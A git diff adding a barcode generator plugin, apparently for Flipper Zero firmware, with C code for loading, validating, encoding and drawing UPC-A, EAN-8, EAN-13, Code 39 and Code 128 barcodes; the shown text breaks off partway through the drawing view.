+) diff --git a/applications/plugins/barcode_gen/barcode_app.c b/applications/plugins/barcode_gen/barcode_app.c new file mode 100644 index 000000000..581c92fda --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_app.c @@ -0,0 +1,342 @@ +#include "barcode_app.h" + +#include "barcode_app_icons.h" + +/** + * Opens a file browser dialog and returns the filepath of the selected file + * + * @param folder the folder to view when the browser opens + * @param file_path a string pointer for the file_path when a file is selected, + * file_path will be the folder path is nothing is selected + * @returns true if a file is selected +*/ +static bool select_file(const char* folder, FuriString* file_path) { + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, BARCODE_EXTENSION, &I_barcode_10); + browser_options.base_path = DEFAULT_USER_BARCODES; + furi_string_set(file_path, folder); + + bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); + + furi_record_close(RECORD_DIALOGS); + + return res; +} + +/** + * Reads the data from a file and stores them in the FuriStrings raw_type and raw_data +*/ +ErrorCode read_raw_data(FuriString* file_path, FuriString* raw_type, FuriString* raw_data) { + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + ErrorCode reason = OKCode; + + if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(file_path))) { + FURI_LOG_E(TAG, "Could not open file %s", furi_string_get_cstr(file_path)); + reason = FileOpening; + } else { + if(!flipper_format_read_string(ff, "Type", raw_type)) { + FURI_LOG_E(TAG, "Could not read \"Type\" string"); + reason = InvalidFileData; + } + if(!flipper_format_read_string(ff, "Data", raw_data)) { + FURI_LOG_E(TAG, "Could not read \"Data\" string"); + reason = InvalidFileData; + } + } + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + return reason; +} + +/** + * Gets the file name from a file path + * @param file_path the file path + * @param file_name the FuriString to store the file name + * @param remove_extension true if the extension should be removed, otherwise false +*/ +bool get_file_name_from_path(FuriString* file_path, FuriString* file_name, bool remove_extension) { + if(file_path == NULL || file_name == NULL) { + return false; + } + uint slash_index = furi_string_search_rchar(file_path, '/', 0); + if(slash_index == FURI_STRING_FAILURE || slash_index >= (furi_string_size(file_path) - 1)) { + return false; + } + + furi_string_set(file_name, file_path); + furi_string_right(file_name, slash_index + 1); + if(remove_extension) { + uint ext_index = furi_string_search_rchar(file_name, '.', 0); + if(ext_index != FURI_STRING_FAILURE && ext_index < (furi_string_size(file_path))) { + furi_string_left(file_name, ext_index); + } + } + + return true; +} + +/** + * Creates the barcode folder +*/ +void init_folder() { + Storage* storage = furi_record_open(RECORD_STORAGE); + FURI_LOG_I(TAG, "Creating barcodes folder"); + if(storage_simply_mkdir(storage, DEFAULT_USER_BARCODES)) { + FURI_LOG_I(TAG, "Barcodes folder successfully created!"); + } else { + FURI_LOG_I(TAG, "Barcodes folder already exists."); + } + furi_record_close(RECORD_STORAGE); +} + +void select_barcode_item(BarcodeApp* app) { + FuriString* file_path = furi_string_alloc(); + FuriString* raw_type = furi_string_alloc(); + FuriString* raw_data = furi_string_alloc(); + + //this determines if the data was read correctly or if the + bool loaded_success = true; + ErrorCode reason = OKCode; + + bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); + if(file_selected) { + FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); + Barcode* barcode = app->barcode_view; + + reason = read_raw_data(file_path, raw_type, raw_data); + if(reason != OKCode) { + loaded_success = false; + FURI_LOG_E(TAG, "Could not read data correctly"); + } + + //Free the data from the previous barcode + barcode_free_model(barcode); + + with_view_model( + barcode->view, + BarcodeModel * model, + { + model->file_path = furi_string_alloc_set(file_path); + + model->data = malloc(sizeof(BarcodeData)); + model->data->valid = loaded_success; + + if(loaded_success) { + model->data->raw_data = furi_string_alloc_set(raw_data); + model->data->correct_data = furi_string_alloc(); + + model->data->type_obj = get_type(raw_type); + + barcode_loader(model->data); + } else { + model->data->reason = reason; + } + }, + true); + + view_dispatcher_switch_to_view(app->view_dispatcher, BarcodeView); + } + + furi_string_free(raw_type); + furi_string_free(raw_data); + furi_string_free(file_path); +} + +void edit_barcode_item(BarcodeApp* app) { + FuriString* file_path = furi_string_alloc(); + FuriString* file_name = furi_string_alloc(); + FuriString* raw_type = furi_string_alloc(); + FuriString* raw_data = furi_string_alloc(); + + //this determines if the data was read correctly or if the + ErrorCode reason = OKCode; + + bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); + if(file_selected) { + FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); + CreateView* create_view_object = app->create_view; + + reason = read_raw_data(file_path, raw_type, raw_data); + if(reason != OKCode) { + FURI_LOG_E(TAG, "Could not read data correctly"); + with_view_model( + app->message_view->view, + MessageViewModel * model, + { model->message = get_error_code_message(reason); }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); + + } else { + BarcodeTypeObj* type_obj = get_type(raw_type); + if(type_obj->type == UNKNOWN) { + type_obj = barcode_type_objs[0]; + } + get_file_name_from_path(file_path, file_name, true); + + create_view_free_model(create_view_object); + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = 0; + model->barcode_type = type_obj; + model->file_path = furi_string_alloc_set(file_path); + model->file_name = furi_string_alloc_set(file_name); + model->barcode_data = furi_string_alloc_set(raw_data); + model->mode = EditMode; + }, + true); + view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); + } + } + + furi_string_free(raw_type); + furi_string_free(raw_data); + furi_string_free(file_name); + furi_string_free(file_path); +} + +void create_barcode_item(BarcodeApp* app) { + CreateView* create_view_object = app->create_view; + + create_view_free_model(create_view_object); + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = 0; + model->barcode_type = barcode_type_objs[0]; + model->file_path = furi_string_alloc(); + model->file_name = furi_string_alloc(); + model->barcode_data = furi_string_alloc(); + model->mode = NewMode; + }, + true); + view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); +} + +void submenu_callback(void* context, uint32_t index) { + furi_assert(context); + + BarcodeApp* app = context; + + if(index == SelectBarcodeItem) { + select_barcode_item(app); + } else if(index == EditBarcodeItem) { + edit_barcode_item(app); + } else if(index == CreateBarcodeItem) { + create_barcode_item(app); + } +} + +uint32_t main_menu_callback(void* context) { + UNUSED(context); + return MainMenuView; +} + +uint32_t exit_callback(void* context) { + UNUSED(context); + return VIEW_NONE; +} + +void free_app(BarcodeApp* app) { + FURI_LOG_I(TAG, "Freeing Data"); + + init_folder(); + free_types(); + + view_dispatcher_remove_view(app->view_dispatcher, TextInputView); + text_input_free(app->text_input); + + view_dispatcher_remove_view(app->view_dispatcher, MessageErrorView); + message_view_free(app->message_view); + + view_dispatcher_remove_view(app->view_dispatcher, MainMenuView); + submenu_free(app->main_menu); + + view_dispatcher_remove_view(app->view_dispatcher, CreateBarcodeView); + create_view_free(app->create_view); + + view_dispatcher_remove_view(app->view_dispatcher, BarcodeView); + barcode_free(app->barcode_view); + + //free the dispatcher + view_dispatcher_free(app->view_dispatcher); + + furi_message_queue_free(app->event_queue); + + furi_record_close(RECORD_GUI); + app->gui = NULL; + + free(app); +} + +int32_t barcode_main(void* p) { + UNUSED(p); + BarcodeApp* app = malloc(sizeof(BarcodeApp)); + init_types(); + app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + // Register view port in GUI + app->gui = furi_record_open(RECORD_GUI); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + app->main_menu = submenu_alloc(); + submenu_add_item(app->main_menu, "Load Barcode", SelectBarcodeItem, submenu_callback, app); + view_set_previous_callback(submenu_get_view(app->main_menu), exit_callback); + view_dispatcher_add_view(app->view_dispatcher, MainMenuView, submenu_get_view(app->main_menu)); + + submenu_add_item(app->main_menu, "Edit Barcode", EditBarcodeItem, submenu_callback, app); + + /***************************** + * Creating Text Input View + ******************************/ + app->text_input = text_input_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, TextInputView, text_input_get_view(app->text_input)); + + /***************************** + * Creating Message View + ******************************/ + app->message_view = message_view_allocate(app); + view_dispatcher_add_view( + app->view_dispatcher, MessageErrorView, message_get_view(app->message_view)); + + /***************************** + * Creating Create View + ******************************/ + app->create_view = create_view_allocate(app); + submenu_add_item(app->main_menu, "Create Barcode", CreateBarcodeItem, submenu_callback, app); + view_set_previous_callback(create_get_view(app->create_view), main_menu_callback); + view_dispatcher_add_view( + app->view_dispatcher, CreateBarcodeView, create_get_view(app->create_view)); + + /***************************** + * Creating Barcode View + ******************************/ + app->barcode_view = barcode_view_allocate(app); + view_set_previous_callback(barcode_get_view(app->barcode_view), main_menu_callback); + view_dispatcher_add_view( + app->view_dispatcher, BarcodeView, barcode_get_view(app->barcode_view)); + + //switch view to submenu and run dispatcher + view_dispatcher_switch_to_view(app->view_dispatcher, MainMenuView); + view_dispatcher_run(app->view_dispatcher); + + free_app(app); + + return 0; +} diff --git a/applications/plugins/barcode_gen/barcode_app.h b/applications/plugins/barcode_gen/barcode_app.h new file mode 100644 index 000000000..31c805a69 --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_app.h @@ -0,0 +1,87 @@ +#pragma once +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "barcode_utils.h" + +#define TAG "BARCODE" +#define VERSION "1.0" +#define FILE_VERSION "1" + +#define TEXT_BUFFER_SIZE 128 + +#define BARCODE_HEIGHT 50 +#define BARCODE_Y_START 3 + +#define APPS_DATA EXT_PATH("apps_data") + +//the folder where the encodings are located +#define BARCODE_DATA_FILE_DIR_PATH APPS_DATA "/barcode_data" + +//the folder where the code 39 encoding table is located +#define CODE39_DICT_FILE_PATH BARCODE_DATA_FILE_DIR_PATH "/code39_encodings.txt" + +//the folder where the code 128 encoding table is located +#define CODE128_DICT_FILE_PATH BARCODE_DATA_FILE_DIR_PATH "/code128_encodings.txt" + +//the folder where the user stores their barcodes +#define DEFAULT_USER_BARCODES EXT_PATH("barcodes") + +//The extension barcode files use +#define BARCODE_EXTENSION ".barcode" +#define BARCODE_EXTENSION_LENGTH 8 + +#include "views/barcode_view.h" +#include "views/create_view.h" +#include "views/message_view.h" +#include "barcode_validator.h" + +typedef struct BarcodeApp BarcodeApp; + +struct BarcodeApp { + Submenu* main_menu; + ViewDispatcher* view_dispatcher; + Gui* gui; + + FuriMessageQueue* event_queue; + + CreateView* create_view; + Barcode* barcode_view; + + MessageView* message_view; + TextInput* text_input; +}; + +enum SubmenuItems { + SelectBarcodeItem, + EditBarcodeItem, + + CreateBarcodeItem +}; + +enum Views { + TextInputView, + MessageErrorView, + MainMenuView, + CreateBarcodeView, + + BarcodeView +}; + +void submenu_callback(void* context, uint32_t index); + +uint32_t main_menu_callback(void* context); + +uint32_t exit_callback(void* context); + +int32_t barcode_main(void* p); \ No newline at end of file diff --git a/applications/plugins/barcode_gen/barcode_utils.c b/applications/plugins/barcode_gen/barcode_utils.c new file mode 100644 index 000000000..0a4770045 --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_utils.c @@ -0,0 +1,125 @@ +#include "barcode_utils.h" + +BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES] = {NULL}; + +void init_types() { + BarcodeTypeObj* upc_a = malloc(sizeof(BarcodeTypeObj)); + upc_a->name = "UPC-A"; + upc_a->type = UPCA; + upc_a->min_digits = 11; + upc_a->max_digits = 12; + upc_a->start_pos = 16; + barcode_type_objs[UPCA] = upc_a; + + BarcodeTypeObj* ean_8 = malloc(sizeof(BarcodeTypeObj)); + ean_8->name = "EAN-8"; + ean_8->type = EAN8; + ean_8->min_digits = 7; + ean_8->max_digits = 8; + ean_8->start_pos = 32; + barcode_type_objs[EAN8] = ean_8; + + BarcodeTypeObj* ean_13 = malloc(sizeof(BarcodeTypeObj)); + ean_13->name = "EAN-13"; + ean_13->type = EAN13; + ean_13->min_digits = 12; + ean_13->max_digits = 13; + ean_13->start_pos = 16; + barcode_type_objs[EAN13] = ean_13; + + BarcodeTypeObj* code_39 = malloc(sizeof(BarcodeTypeObj)); + code_39->name = "CODE-39"; + code_39->type = CODE39; + code_39->min_digits = 1; + code_39->max_digits = -1; + code_39->start_pos = 0; + barcode_type_objs[CODE39] = code_39; + + BarcodeTypeObj* code_128 = malloc(sizeof(BarcodeTypeObj)); + code_128->name = "CODE-128"; + code_128->type = CODE128; + code_128->min_digits = 1; + code_128->max_digits = -1; + code_128->start_pos = 0; + barcode_type_objs[CODE128] = code_128; + + BarcodeTypeObj* unknown = malloc(sizeof(BarcodeTypeObj)); + unknown->name = "Unknown"; + unknown->type = UNKNOWN; + unknown->min_digits = 0; + unknown->max_digits = 0; + unknown->start_pos = 0; + barcode_type_objs[UNKNOWN] = unknown; +} + +void free_types() { + for(int i = 0; i < NUMBER_OF_BARCODE_TYPES; i++) { + free(barcode_type_objs[i]); + } +} + +BarcodeTypeObj* get_type(FuriString* type_string) { + if(furi_string_cmp_str(type_string, "UPC-A") == 0) { + return barcode_type_objs[UPCA]; + } + if(furi_string_cmp_str(type_string, "EAN-8") == 0) { + return barcode_type_objs[EAN8]; + } + if(furi_string_cmp_str(type_string, "EAN-13") == 0) { + return barcode_type_objs[EAN13]; + } + if(furi_string_cmp_str(type_string, "CODE-39") == 0) { + return barcode_type_objs[CODE39]; + } + if(furi_string_cmp_str(type_string, "CODE-128") == 0) { + return barcode_type_objs[CODE128]; + } + + return barcode_type_objs[UNKNOWN]; +} + +const char* get_error_code_name(ErrorCode error_code) { + switch(error_code) { + case WrongNumberOfDigits: + return "Wrong Number Of Digits"; + case InvalidCharacters: + return "Invalid Characters"; + case UnsupportedType: + return "Unsupported Type"; + case FileOpening: + return "File Opening Error"; + case InvalidFileData: + return "Invalid File Data"; + case MissingEncodingTable: + return "Missing Encoding Table"; + case EncodingTableError: + return "Encoding Table Error"; + case OKCode: + return "OK"; + default: + return "Unknown Code"; + }; +} + +const char* get_error_code_message(ErrorCode error_code) { + switch(error_code) { + case WrongNumberOfDigits: + return "Wrong # of characters"; + case InvalidCharacters: + return "Invalid characters"; + case UnsupportedType: + return "Unsupported barcode type"; + case FileOpening: + return "Could not open file"; + case InvalidFileData: + return "Invalid file data"; + case MissingEncodingTable: + return "Missing encoding table"; + case EncodingTableError: + return "Encoding table error"; + case OKCode: + return "OK"; + default: + return "Could not read barcode data"; + }; +} \ No newline at end of file diff --git a/applications/plugins/barcode_gen/barcode_utils.h b/applications/plugins/barcode_gen/barcode_utils.h new file mode 100644 index 000000000..212923a89 --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_utils.h @@ -0,0 +1,53 @@ + +#pragma once +#include +#include + +#define NUMBER_OF_BARCODE_TYPES 6 + +typedef enum { + WrongNumberOfDigits, //There is too many or too few digits in the barcode + InvalidCharacters, //The barcode contains invalid characters + UnsupportedType, //the barcode type is not supported + FileOpening, //A problem occurred when opening the barcode data file + InvalidFileData, //One of the key in the file doesn't exist or there is a typo + MissingEncodingTable, //The encoding table txt for the barcode type is missing + EncodingTableError, //Something is wrong with the encoding table, probably missing data or typo + OKCode +} ErrorCode; + +typedef enum { + UPCA, + EAN8, + EAN13, + CODE39, + CODE128, + + UNKNOWN +} BarcodeType; + +typedef struct { + char* name; //The name of the barcode type + BarcodeType type; //The barcode type enum + int min_digits; //the minimum number of digits + int max_digits; //the maximum number of digits + int start_pos; //where to start drawing the barcode, set to -1 to dynamically draw barcode +} BarcodeTypeObj; + +typedef struct { + BarcodeTypeObj* type_obj; + int check_digit; //A place to store the check digit + FuriString* raw_data; //the data directly from the file + FuriString* correct_data; //the corrected/processed data + bool valid; //true if the raw data is correctly formatted, such as correct num of digits, valid characters, etc. + ErrorCode reason; //the reason why this barcode is invalid +} BarcodeData; + +//All available barcode types +extern BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES]; + +void init_types(); +void free_types(); +BarcodeTypeObj* get_type(FuriString* type_string); +const char* get_error_code_name(ErrorCode error_code); +const char* get_error_code_message(ErrorCode error_code); \ No newline at end of file diff --git a/applications/plugins/barcode_gen/barcode_validator.c b/applications/plugins/barcode_gen/barcode_validator.c new file mode 100644 index 000000000..6cb3eec4c --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_validator.c @@ -0,0 +1,344 @@ +#include "barcode_validator.h" + +void barcode_loader(BarcodeData* barcode_data) { + switch(barcode_data->type_obj->type) { + case UPCA: + case EAN8: + case EAN13: + ean_upc_loader(barcode_data); + break; + case CODE39: + code_39_loader(barcode_data); + break; + case CODE128: + code_128_loader(barcode_data); + break; + case UNKNOWN: + barcode_data->reason = UnsupportedType; + barcode_data->valid = false; + default: + break; + } +} + +/** + * Calculates the check digit of a barcode if they have one + * @param barcode_data the barcode data + * @returns a check digit or -1 for either an invalid +*/ +int calculate_check_digit(BarcodeData* barcode_data) { + int check_digit = -1; + switch(barcode_data->type_obj->type) { + case UPCA: + case EAN8: + case EAN13: + check_digit = calculate_ean_upc_check_digit(barcode_data); + break; + case CODE39: + case CODE128: + case UNKNOWN: + default: + break; + } + + return check_digit; +} + +/** + * Calculates the check digit of barcode types UPC-A, EAN-8, & EAN-13 +*/ +int calculate_ean_upc_check_digit(BarcodeData* barcode_data) { + int check_digit = 0; + int odd = 0; + int even = 0; + + int length = barcode_data->type_obj->min_digits; + + //Get sum of odd digits + for(int i = 0; i < length; i += 2) { + odd += furi_string_get_char(barcode_data->raw_data, i) - '0'; + } + + //Get sum of even digits + for(int i = 1; i < length; i += 2) { + even += furi_string_get_char(barcode_data->raw_data, i) - '0'; + } + + if(barcode_data->type_obj->type == EAN13) { + check_digit = even * 3 + odd; + } else { + check_digit = odd * 3 + even; + } + + check_digit = check_digit % 10; + + return (10 - check_digit) % 10; +} + +/** + * Loads and validates Barcode Types EAN-8, EAN-13, and UPC-A + * barcode_data and its strings should already be allocated; +*/ +void ean_upc_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + int min_digits = barcode_data->type_obj->min_digits; + int max_digit = barcode_data->type_obj->max_digits; + + //check the length of the barcode + if(barcode_length < min_digits || barcode_length > max_digit) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + //checks if the barcode contains any characters that aren't a number + for(int i = 0; i < barcode_length; i++) { + char character = furi_string_get_char(barcode_data->raw_data, i); + int digit = character - '0'; //convert the number into an int (also the index) + if(digit < 0 || digit > 9) { + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + return; + } + } + + int check_digit = calculate_check_digit(barcode_data); + char check_digit_char = check_digit + '0'; + + barcode_data->check_digit = check_digit; + + //if the barcode length is at max length then we will verify if the check digit is correct + if(barcode_length == max_digit) { + //append the raw_data to the correct data string + furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); + + //append the check digit to the correct data string + furi_string_set_char(barcode_data->correct_data, min_digits, check_digit_char); + } + //if the barcode length is at min length, we will calculate the check digit + if(barcode_length == min_digits) { + //append the raw_data to the correct data string + furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); + + //append the check digit to the correct data string + furi_string_push_back(barcode_data->correct_data, check_digit_char); + } +} + +void code_39_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + int min_digits = barcode_data->type_obj->min_digits; + // int max_digit = barcode_data->type_obj->max_digits; + + //check the length of the barcode, must contain atleast a character, + //this can have as many characters as it wants, it might not fit on the screen + if(barcode_length < min_digits) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + FuriString* barcode_bits = furi_string_alloc(); + FuriString* temp_string = furi_string_alloc(); + + //add starting and ending * + if(!furi_string_start_with(barcode_data->raw_data, "*")) { + furi_string_push_back(temp_string, '*'); + furi_string_cat(temp_string, barcode_data->raw_data); + furi_string_set(barcode_data->raw_data, temp_string); + } + + if(!furi_string_end_with(barcode_data->raw_data, "*")) { + furi_string_push_back(barcode_data->raw_data, '*'); + } + + furi_string_free(temp_string); + barcode_length = furi_string_size(barcode_data->raw_data); + + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(ff, CODE39_DICT_FILE_PATH)) { + FURI_LOG_E(TAG, "Could not open file %s", CODE39_DICT_FILE_PATH); + barcode_data->reason = MissingEncodingTable; + barcode_data->valid = false; + } else { + FuriString* char_bits = furi_string_alloc(); + for(int i = 0; i < barcode_length; i++) { + char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); + + //convert a char into a string so it used in flipper_format_read_string + char current_character[2]; + snprintf(current_character, 2, "%c", barcode_char); + + if(!flipper_format_read_string(ff, current_character, char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + break; + } else { + FURI_LOG_I( + TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); + furi_string_cat(barcode_bits, char_bits); + } + flipper_format_rewind(ff); + } + furi_string_free(char_bits); + } + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_cat(barcode_data->correct_data, barcode_bits); + furi_string_free(barcode_bits); +} + +/** + * Loads a code 128 barcode + * + * Only supports character set B +*/ +void code_128_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + //the start code for character set B + int start_code_value = 104; + + //The bits for the start code + const char* start_code_bits = "11010010000"; + + //The bits for the stop code + const char* stop_code_bits = "1100011101011"; + + int min_digits = barcode_data->type_obj->min_digits; + // int max_digit = barcode_data->type_obj->max_digits; + + /** + * A sum of all of the characters values + * Ex: + * Barcode Data : ABC + * A has a value of 33 + * B has a value of 34 + * C has a value of 35 + * + * the checksum_adder would be (33 * 1) + (34 * 2) + (35 * 3) + 104 = 310 + * + * Add 104 since we are using set B + */ + int checksum_adder = start_code_value; + /** + * Checksum digits is the number of characters it has read so far + * In the above example the checksum_digits would be 3 + */ + int checksum_digits = 0; + + //the calculated check digit + int final_check_digit = 0; + + //check the length of the barcode, must contain atleast a character, + //this can have as many characters as it wants, it might not fit on the screen + if(barcode_length < min_digits) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + FuriString* barcode_bits = furi_string_alloc(); + + //add the start code + furi_string_cat(barcode_bits, start_code_bits); + + if(!flipper_format_file_open_existing(ff, CODE128_DICT_FILE_PATH)) { + FURI_LOG_E(TAG, "Could not open file %s", CODE128_DICT_FILE_PATH); + barcode_data->reason = MissingEncodingTable; + barcode_data->valid = false; + } else { + FuriString* value = furi_string_alloc(); + FuriString* char_bits = furi_string_alloc(); + for(int i = 0; i < barcode_length; i++) { + char barcode_char = furi_string_get_char(barcode_data->raw_data, i); + + //convert a char into a string so it used in flipper_format_read_string + char current_character[2]; + snprintf(current_character, 2, "%c", barcode_char); + + //get the value of the character + if(!flipper_format_read_string(ff, current_character, value)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + break; + } + //using the value of the character, get the characters bits + if(!flipper_format_read_string(ff, furi_string_get_cstr(value), char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = EncodingTableError; + barcode_data->valid = false; + break; + } else { + //add the bits to the full barcode + furi_string_cat(barcode_bits, char_bits); + + //calculate the checksum + checksum_digits += 1; + checksum_adder += (atoi(furi_string_get_cstr(value)) * checksum_digits); + + FURI_LOG_D( + TAG, + "\"%c\" string: %s : %s : %d : %d : %d", + barcode_char, + furi_string_get_cstr(char_bits), + furi_string_get_cstr(value), + checksum_digits, + (atoi(furi_string_get_cstr(value)) * checksum_digits), + checksum_adder); + } + //bring the file pointer back to the beginning + flipper_format_rewind(ff); + } + + //calculate the check digit and convert it into a c string for lookup in the encoding table + final_check_digit = checksum_adder % 103; + int length = snprintf(NULL, 0, "%d", final_check_digit); + char* final_check_digit_string = malloc(length + 1); + snprintf(final_check_digit_string, length + 1, "%d", final_check_digit); + + //after the checksum has been calculated, add the bits to the full barcode + if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%s\" string", final_check_digit_string); + barcode_data->reason = EncodingTableError; + barcode_data->valid = false; + } else { + //add the check digit bits to the full barcode + furi_string_cat(barcode_bits, char_bits); + + FURI_LOG_D( + TAG, + "\"%s\" string: %s", + final_check_digit_string, + furi_string_get_cstr(char_bits)); + } + + free(final_check_digit_string); + furi_string_free(value); + furi_string_free(char_bits); + } + + //add the stop code + furi_string_cat(barcode_bits, stop_code_bits); + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_cat(barcode_data->correct_data, barcode_bits); + furi_string_free(barcode_bits); +} diff --git a/applications/plugins/barcode_gen/barcode_validator.h b/applications/plugins/barcode_gen/barcode_validator.h new file mode 100644 index 000000000..962d14729 --- /dev/null +++ b/applications/plugins/barcode_gen/barcode_validator.h @@ -0,0 +1,13 @@ +#pragma once + +#include "barcode_app.h" + +int calculate_check_digit(BarcodeData* barcode_data); +int calculate_ean_upc_check_digit(BarcodeData* barcode_data); +void ean_upc_loader(BarcodeData* barcode_data); +void upc_a_loader(BarcodeData* barcode_data); +void ean_8_loader(BarcodeData* barcode_data); +void ean_13_loader(BarcodeData* barcode_data); +void code_39_loader(BarcodeData* barcode_data); +void code_128_loader(BarcodeData* barcode_data); +void barcode_loader(BarcodeData* barcode_data); \ No newline at end of file diff --git a/applications/plugins/barcode_gen/encodings.c b/applications/plugins/barcode_gen/encodings.c new file mode 100644 index 000000000..764fde796 --- /dev/null +++ b/applications/plugins/barcode_gen/encodings.c @@ -0,0 +1,52 @@ +#include "encodings.h" + +const char EAN_13_STRUCTURE_CODES[10][6] = { + "LLLLLL", + "LLGLGG", + "LLGGLG", + "LLGGGL", + "LGLLGG", + "LGGLLG", + "LGGGLL", + "LGLGLG", + "LGLGGL", + "LGGLGL"}; + +const char UPC_EAN_L_CODES[10][8] = { + "0001101", // 0 + "0011001", // 1 + "0010011", // 2 + "0111101", // 3 + "0100011", // 4 + "0110001", // 5 + "0101111", // 6 + "0111011", // 7 + "0110111", // 8 + "0001011" // 9 +}; + +const char EAN_G_CODES[10][8] = { + "0100111", // 0 + "0110011", // 1 + "0011011", // 2 + "0100001", // 3 + "0011101", // 4 + "0111001", // 5 + "0000101", // 6 + "0010001", // 7 + "0001001", // 8 + "0010111" // 9 +}; + +const char UPC_EAN_R_CODES[10][8] = { + "1110010", // 0 + "1100110", // 1 + "1101100", // 2 + "1000010", // 3 + "1011100", // 4 + "1001110", // 5 + "1010000", // 6 + "1000100", // 7 + "1001000", // 8 + "1110100" // 9 +}; \ No newline at end of file diff --git a/applications/plugins/barcode_gen/encodings.h b/applications/plugins/barcode_gen/encodings.h new file mode 100644 index 000000000..c5b8d61ff --- /dev/null +++ b/applications/plugins/barcode_gen/encodings.h @@ -0,0 +1,6 @@ +#pragma once + +extern const char EAN_13_STRUCTURE_CODES[10][6]; +extern const char UPC_EAN_L_CODES[10][8]; +extern const char EAN_G_CODES[10][8]; +extern const char UPC_EAN_R_CODES[10][8]; \ No newline at end of file diff --git a/applications/plugins/barcode_gen/images/barcode_10.png b/applications/plugins/barcode_gen/images/barcode_10.png new file mode 100644 index 0000000000000000000000000000000000000000..32d4971ad355874ef62be4cf9eb9586fdef48ad7 GIT binary patch literal 161 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2ZGmxy8xzq=w7>k44ofy`glX(f`u%tWsIx;Y9 z?C1WI$O`1M1^9%x0_p$%|1Z5c|1OZlS>O>_%)r2R2!t6$HM|;tf-0Uajv*44lM@6) zL{btGSSB$ks7+8-IB?=bM{COorw}H~CLRWdH%zMMw$JzmRL|h)>gTe~DWM4f+!!l! literal 0 HcmV?d00001 diff --git a/applications/plugins/barcode_gen/views/barcode_view.c b/applications/plugins/barcode_gen/views/barcode_view.c new file mode 100644 index 000000000..afd727b63 --- /dev/null +++ b/applications/plugins/barcode_gen/views/barcode_view.c @@ -0,0 +1,444 @@ +#include "../barcode_app.h" +#include "barcode_view.h" +#include "../encodings.h" + +/** + * @brief Draws a single bit from a barcode at a specified location + * @param canvas + * @param bit a 1 or a 0 to signify a bit of data + * @param x the top left x coordinate + * @param y the top left y coordinate + * @param width the width of the bit + * @param height the height of the bit + */ +static void draw_bit(Canvas* canvas, int bit, int x, int y, int width, int height) { + if(bit == 1) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, x, y, width, height); +} + +/** + * +*/ +static void draw_error_str(Canvas* canvas, const char* error) { + canvas_clear(canvas); + canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); +} + +/** + * @param bits a string of 1's and 0's + * @returns the x coordinate after the bits have been drawn, useful for drawing the next section of bits +*/ +static int draw_bits(Canvas* canvas, const char* bits, int x, int y, int width, int height) { + int bits_length = strlen(bits); + for(int i = 0; i < bits_length; i++) { + char c = bits[i]; + int num = c - '0'; + + draw_bit(canvas, num, x, y, width, height); + + x += width; + } + return x; +} + +/** + * Draws an EAN-8 type barcode, does not check if the barcode is valid + * @param canvas the canvas + * @param barcode_digits the digits in the barcode, must be 8 characters long +*/ +static void draw_ean_8(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = 